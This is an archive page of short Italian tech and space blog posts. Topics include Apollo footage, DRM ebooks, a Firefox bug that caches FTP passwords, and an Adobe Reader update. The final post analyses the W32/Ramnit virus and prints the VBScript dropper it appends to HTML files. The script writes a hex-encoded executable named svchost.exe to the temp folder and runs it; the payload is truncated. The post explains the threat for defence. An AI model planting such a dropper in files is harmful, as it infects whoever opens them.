Autore: Luigi Rosa

  • USS Intrepid in LEGO lunga sette metri

    INTREPID COMPLETEUn gruppo di folli ha realizzato un modello lungo sette metri della USS Intrepid utilizzando i mattoncini LEGO.

    La raccolta di immagini linkata sopra contiene vari fasi della costruzione dell’incredibile modellino. (via Gizmodo)

  • Nitroglicerina presa a martellate

    [youtube=http://www.youtube.com/watch?v=r17czTWHFmU&w=480]

    Con alcuni replay al rallentatore.

  • Timeo Danaos et dona ferentes

    Il lancio del negozio online di eBook creato da Telecom Italia ha causato molto finto scalpore e altrettanto finto risentimento tra le altre aziende che si stanno preparando a scendere nel campo della vendita di eBook protetti da DRM. Al solito: si vuole il monopolio per sé e il libero mercato per gli altri, ma transeat.

    Lo store dell’incumbent telefonico si basa su Adobe Digital Editions, disponibile solamente per Windows e MacOS.

    Per consentire ai potenziali clienti di familiarizzare con i metodi farraginosi del DRM e, probabilmente, per scoraggiarli definitivamente, viene graziosamente concesso il download gratuito di un libro protetto da DRM, “La coscienza di Zeno” di Italo Svevo.

    Se volete leggere quel libro, scaricatelo legalmente da Liber Liber, usate Calibre per caricarlo sul vostro lettore e lasciate perdere i DRM e i regali di Telecom.

  • Contact Light

    [vimeo http://vimeo.com/15711451 w=480]

    Paolo ha caricato da poco una versione aggiornata di Contact Light.

    Il filmato di quasi diciassette minuti è quello girato dalla macchina da presa montata su un finestrino del LEM e attivata durante la fase finale della discesa verso il suolo lunare; in alcuni momenti Paolo ha inserito le immagini riprese nel controllo missione. L’audio è quello originale del LEM, di CAPCOM e di alcune parti del canale del flight director Gene Kranz. Il tutto, ovviamente, sincronizzato; questa è stata la parte più laboriosa, in quanto gli spezzoni audio e video non sono time-coded.

    Il tutto, per la prima volta, in alta definizione.

    Contact Light è il trailer del documentario Moonscape che Paolo sta preparando grazie al contributo di molti appassionati.

    Da non perdere a 11:30 il momento in cui Gene Kranz chiede ai filight controller di confermare l’OK per l’allunaggio (aggiornato il 16/10/2010 con i nomi dei controller forniti da Paolo Attivissimo):

    – Gene Kranz: OK, all flight controllers go/no-go for landing… RETRO.
    – Chuck Dieterich: Go!
    – Gene Kranz: FIDO.
    Jay Greene: Go!
    – Gene Kranz: Guidance.
    Steve Bales: Go!
    – Gene Kranz: Control.
    – Bob Carlton: Go!
    – Gene Kranz: TELMU.
    Don Puddy: Go!
    – Gene Kranz: GNC.
    – Briggs N. “Buck” Willoughby: Go!
    – Gene Kranz: EECOM.
    John Aaron: Go!
    – Gene Kranz: Surgeon.
    – John F. Zieglschmid: Go!
    – Gene Kranz: CAPCOM, we’re go for landing.

    Il dialogo ricorda una scena di Apollo 13, dove, anche per ragioni di sceneggiatura, si assiste solamente una volta a quello scambio; in realtà durante la missione il flight director chiedeva molte volte, generalmente nei momenti chiave, ai vari controller la conferma per continuare o annullare; si può ascoltare un’altra richiesta si go/no-go alla fine del filmato quando Kranz chiede ai controller l’OK per rimanere sulla superficie lunare.

    Si possono anche vedere i momenti in cui l’AGC va in errore e la reazione dei controller che suggeriscono di ignorare l’errore.

    Buona visione.

  • Computer e consumabili vecchi

    «Cosa me ne faccio del computer vecchio?» è una domanda ricorrente. Lo smaltimento dei materiali elettronici è regolato da precise norme di legge.

    Prima di avviare un computer allo smaltimento è consigliabile salvare i dati utili e le eventuali licenze (attenzione ai DRM!) e cancellare i dati dei dischi tenendo presente che anche molte stampanti laser contengono dei dischi con le copie dei dati stampati e di altri dati sensibili.

    La preparazione del materiale per lo smaltimento dipende da chi effettua il ritiro, che fornisce di solito le istruzioni necessarie. In linea generale, il materiale non deve causare problemi a chi lo maneggia. (altro…)

  • Firefox: esposizione della password nell’URL

    In mancanza di altri programmi i browser possono essere utilizzate anche come client FTP.

    Per collegarsi, ad esempio, a mail.siamogeek.com con l’utente utente e la password segreta si può digitare questo URL:

    ftp://utente:segreta@mail.siamogeek.com

    Purtroppo Firefox registra questo URL nella cache, quindi se, dopo essersi collegati la prima volta a questo sito, si digita di nuovo l’inizio (o parte) dell’URL ecco cosa appare:

    State, quindi, attenti se utilizzate browser altrui per collegarvi a siti di cui non volete rivelare la password.

    Una segnalazione del baco è già presente in Bugzilla.

    No, l’utente utilizzato per questa dimostrazione non esiste più, è inutile tentare, tanto non funziona. (via Bugtraq)

  • Terry Watson a Lugano

    Arriviamo assieme a Paolo con largo anticipo per allestire la sala e Terry Watson è già lì che sta chiacchierando con il personale del concessionario Ferrari vicino a cui si terrà l’incontro. Sì, perché le auto sono una delle tante passioni di Terry: ha fatto l’elenco delle automobili che possiede, incluse le due che ha venduto da poco per ragioni di spazio e mi sono perso alla terza.

    Iniziamo a decidere come scombinare la disposizione della saletta e Terry è già a proprio agio: chiacchiera con chi sta cominciando ad arrivare e inizia a raccontare storielle ed esperienze.

    Non posso non accennare a Gene Kranz, di cui Terry ha una grande stima. Una delle grandi figure della storia spaziale americana, su questo non ci piove.

    Prima dell’inizio dell’incontro vero e proprio ha già tirato fuori una chicca: la visualizzazione dei dati delle telemetrie sulle console delle prime missioni Apollo era un esempio di ingegno. I dati erano gestiti da una batteria dei computer IBM più potenti del periodo, i quali, nonostante tutto, riuscivano a visualizzare i valori elaborati su un solo monitor e senza le descrizioni. Il monitor era collocato in un capo di un tubo nero al cui altro capo c’era una telecamera; in mezzo un sistema meccanico spostava delle pellicole trasparenti su cui erano stampate le descrizioni a seconda della schermata selezionata. Il risultato (quando funzionava) era un’immagine televisiva con valori e relative descrizioni che veniva diffusa sui monitor dei controllori. Nelle ultime missioni i computer erano diventati più potenti e riuscivano a visualizzare autonomamente le descrizioni dei dati: ah, la tecnologia!

    Questo è stato il tono dell’incontro e della cena che ne è seguita: storielle, retroscena, foto politicamente scorrette, ricordi della guerra fredda, risate. E un racconto dell’esperienza di pochi giorni prima all’Oktoberfest di Monaco.

    Una serata unica, resa possibile grazie alla passione per le missioni spaziali di Paolo Attivissimo, sul cui blog leggerete tra poco un resoconto probabilmente più dettagliato. A me deve ancora passare l’emozione per aver potuto chiacchierare con Terry Watson per riuscire a mettere assieme qualcosa di più organico.

    Grazie Paolo!

    Aggiornamento 9/10/2010 13:40: alcune foto dell’evento.

  • Il lander dei Russi

    Jalopnik ha pubblicato alcune foto di quello che sarebbe stato il lander del progetto sovietico per raggiungere la Luna.

    Il cimelio si troverebbe in un laboratorio dell’Istituto dell’Aviazione di Mosca.

    Le due differenze sostanziali rispetto al LEM sono il fatto che questo modello è monoposto e utilizza lo stesso motore per atterrare e per ripartire.

  • Aggiornamento per Acrobat

    Dopo quasi un mese dalla diffusione di  uno 0-day, Adobe rilascia finalmente un aggiornamento per il suo reader PDF, le cui versioni attuali diventano 9.4 e 8.2.5; le versioni precedenti non sono più supportate e dovrebbero essere aggiornate quanto prima.

    Se non si verificano altre emergenze, il prossimo aggiornamento del software è previsto per l’8 febbraio 2011.

  • Apolo 13: Mission Control

    [vimeo http://vimeo.com/14443510 w=480]

    Apollo 13: Mission Control è uno spettacolo teatrale interattivo ambientato in una sala allestita come il controllo missione di Houston in cui vengono ricreati i momenti salienti della missione.

    Peccato che sia dall’altro capo del pianeta.

  • Catalessi sugli allori

    StatCounter è uno dei tanti siti che offre un servizio di analisi di traffico web. Il sito ha pubblicato una statistica anno su anno secondo la quale Internet Explorer sarebbe sceso poco sotto la quota psicologica del 50% di share.

    Non ho trovato (se c’è) l’errore medio della statistica per capire quale sia l’errore di quel 49,87% dello share di Explorer in settembre, quindi il dato va preso per quello che è: una statistica.

    Per la seconda volta vediamo un browser con quote bulgare di mercato perderle per cause più interne che esterne.

    Netscape Navigator ha di fatto guidato la prima (e molto confusa) corsa al web della metà degli anni ’90; dobbiamo proprio a Netscape molte innovazioni dell’HTML, brutte o belle che siano. In quel periodo Microsoft, dopo un primo periodo in cui ha ignorato Internet, giocava molto all’inseguimento, mentre Netscape dominava il mercato. Tutto ciò fino alla versione 3.0, in cui non è stato data importanza al miglioramento del programma, ma ci si è concentrati sull’aggiunta di feature, alcune interessanti (un client di mail), altre un po’ inutili per l’utente quadratico medio (l’editor HTML visuale). Il caravanserraglio che è risultato da questo ingrasso non ha fatto altro che facilitare l’ascesa di Explorer, che, con tutti i suoi innumerevoli difetti, alla fine era più utilizzabile di Netscape.

    (altro…)
  • Virus che attacca un eseguibile ai file HTML

    Sembra una delle tante leggende metropolitane, come quella del virus che si annidava nella memoria di configurazione del PC, invece è possibile.

    Il virus in questione è W32/Ramnit che infetta file EXE, DLL e HTML.

    Un volta caricato in memoria il virus accoda ai file HTML questo codice VBScript:
    <SCRIPT Language=VBScript><!--
    DropFileName = "svchost.exe"
    WriteData = "4D5A90000300000004000...0000000000000"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
    If FSO.FileExists(DropPath)=False Then
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    For i = 1 To Len(WriteData) Step 2
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next
    FileObj.Close
    End
    If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0
    //--></SCRIPT>

    Il codice qui sopra scrive un file SVCHOST.EXE (un nome che non desta sospetti se visto nel task manager di Windows) nella directory temporanea dell’utente prendendo il contenuto dalla variabile WriteData, che contiene il carico di infezione vero e proprio (notare che i primi due byte sono il magic number dei Portable Executable). Se la scrittura va a buon fine, lo script tenta di eseguire il file.

    È vero: non è così immediato il fatto che ogni file HTML infettato diventi un vettore di infezione, ma questo è un ulteriore esempio di come file apparentemente innocui possano essere utilizzati per diffondere del malware. (via TrustedSource)